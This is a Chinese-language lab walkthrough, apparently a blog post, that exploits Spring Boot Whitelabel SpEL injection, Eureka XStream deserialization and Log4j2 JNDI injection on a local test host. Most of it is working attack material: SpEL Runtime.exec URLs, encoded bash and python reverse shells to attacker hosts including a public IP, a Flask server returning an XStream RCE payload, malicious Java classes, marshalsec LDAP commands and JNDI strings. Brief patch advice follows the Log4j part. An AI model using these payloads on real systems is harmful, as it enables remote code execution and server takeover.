http://192.168.164.133:9091/

在这里插入图片描述

http://192.168.164.133:9091/article?id=66

在这里插入图片描述

利用条件
  • spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
  • 至少知道一个触发 springboot 默认错误页面的接口及参数名
利用方法
步骤一:找到一个正常传参处

比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page ,则后续 payload 都将会在参数 id 处尝试。

在这里插入图片描述

步骤二:执行 SpEL 表达式

输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。

在这里插入图片描述

由字符串格式转换成 0x** java 字节形式,方便执行任意代码:

# coding: utf-8

result = ""
target = 'touch /tmp/sillage'
for x in target:
	result += hex(ord(x)) + ","
print(result.rstrip(','))

执行 touch /tmp/sillage 命令:

http://192.168.164.133:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x73,0x69,0x6c,0x6c,0x61,0x67,0x65}))}

在这里插入图片描述

执行bash反弹shell命令:

bash -i >& /dev/tcp/192.168.164.133/7777 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2NC4xMzMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

http://192.168.164.133:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4f,0x54,0x49,0x75,0x4d,0x54,0x59,0x34,0x4c,0x6a,0x45,0x32,0x4e,0x43,0x34,0x78,0x4d,0x7a,0x4d,0x76,0x4e,0x7a,0x63,0x33,0x4e,0x79,0x41,0x77,0x50,0x69,0x59,0x78,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d}))}

在这里插入图片描述

漏洞原理
  1. spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中

  2. 此时 URL 中的参数值会用 parseStringValue 方法进行递归解析

  3. 其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞

漏洞分析

0x02:eureka xstream deserialization RCE

漏洞环境

repository/springboot-eureka-xstream-rce

修改 SpringBootVulExploit/repository/springboot-spelrce/src/main/resources/application.properties:

vi springboot-eureka-xstream-rce/src/main/resources/application.properties

server.port=9093
#server.address=127.0.0.1
server.address=0.0.0.0

编译运行:

mvn spring-boot:run

正常访问:

http://192.168.164.133:9093/env

在这里插入图片描述

利用条件
  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
利用方法
步骤一:架设响应恶意 XStream payload 的网站

提供一个依赖 Flask 并符合要求的 python 脚本示例,作用是利用目标 Linux 机器上自带的 python 来反弹 shell 。

使用 python 在自己控制的服务器上运行以下的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和端口号。

#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-

from flask import Flask, Response

app = Flask(__name__)


@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                       <string>/bin/bash</string>
                       <string>-c</string>
                       <string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)
步骤二:监听反弹 shell 的端口

一般使用 nc 监听端口,等待反弹 shell

nc -lnvp 4433
步骤三:设置 eureka.client.serviceUrl.defaultZone 属性

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

在这里插入图片描述

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
步骤四:刷新配置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

在这里插入图片描述

spring 2.x

POST /actuator/refresh
Content-Type: application/json
步骤五:得到Shell

在这里插入图片描述

漏洞原理
  1. eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址

  2. refresh 触发目标机器请求远程 URL ,提前架设的 f ake eureka server 就会返回恶意的 payload

  3. 目标机器相关依赖解析 payload ,触发 XStream 反序列化,造成 RCE 漏洞

漏洞分析

Apache Log4j2

Apache Log4j简介

Apache log4j 是 Apache 的一个开源项目, Apache log4j2 是一个 Java 的日志记录工具。该工具重写了 log4j 框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。

漏洞简介

log4j2 中存在 JNDI 注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。

漏洞范围

影响组件应用

  • Apache Struts2
  • Apache Solr
  • Apache Druid
  • Apache Flink
  • srping-boot-strater-log4j2

影响Log4j版本

Apache Log4j 2.0 ~ 2.15.0-rc1

漏洞利用

环境搭建

docker-compose.yml

version: '2'
services:
	solr:
		image: vulhub/solr:8.11.0
		ports:
		- "8983:8983"
docker-compose up -d

POC测试

http://dnslog.cn/

https://www.callback.red/

${jndi:ldap://ink0.callback.red}
${jndi:ldap://${sys:java.version}.ink0.callback.red}
http://192.168.164.133:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.ink0.callback.red}

在这里插入图片描述

在这里插入图片描述

编写并编译恶意代码

# Touch.java
import java.lang.Runtime;
import java.lang.Process;

public class Touch {
	public Touch(){
		try{
			Runtime.getRuntime().exec("/bin/touch /tmp/mingy");
		}catch(Exception e){
			e.printStackTrace();
		}
	}
	public static void main(String[] argv){
		Touch e = new Touch();
	}
}
javac Touch.java
# Exploit.java
import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
	public Exploit(){
		try{
			Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvNDQzMyAwPiYx}|{base64,-d}|{bash,-i}");
		}catch(Exception e){
			e.printStackTrace();
		}
	}
	public static void main(String[] argv){
		Exploit e = new Exploit();
	}
}
javac Exploit.java

启动LDAP服务

创建文件

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.164.133:8000/#Touch" 
9999

反弹shell

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.164.133:8000/#Exploit" 9999

监听端口

nc -lvvp 4433

发送Payload

创建文件

${jndi:ldap://192.168.164.133:9999/Touch}
URL编码:
%24%7Bjndi%3Aldap%3A%2F%2F192.168.164.133%3A9999%2FTouch%7D
${jndi:ldap://192.168.164.133:9999/Exploit}
URL编码:
%24%7Bjndi%3Aldap%3A%2F%2F192.168.164.133%3A9999%2FExploit%7D

在这里插入图片描述

得到Shell

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

利用工具

下载 JNDI-Injection-Exploit 工具

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

构造命令执行

bash -i >& /dev/tcp/124.71.45.28/9090 0>&1

java-runtime-exec 转换:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvOTA5MCAwPiYx}|{base64,-d}|{bash,-i}

工具使用

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "command" -A address

得到反弹shell的EXP

${jndi:rmi://124.71.45.28:1099/wdfiww}

发送EXP

ldap://124.71.45.28:1389/wdfiww

得到shell

漏洞修复建议

通用修补建议

升级到最新版本 2.15.0-rc2 :

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

临时修补建议

  1. 设置JVM启动参数 -Dlog4j2.formatMsgNoLookups=true 。

  2. 尽量使用JDK 版本大于 11.0.1、8u191、7u201、6u211 ,需要注意的是,即使是使用了 JDK 高版本也不能完全保证安全,依然存在本地绕过的情况。

  3. 限制不必要的业务访问外网。

  4. 采用 rasp 对 lookup 的调用进行阻断。

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值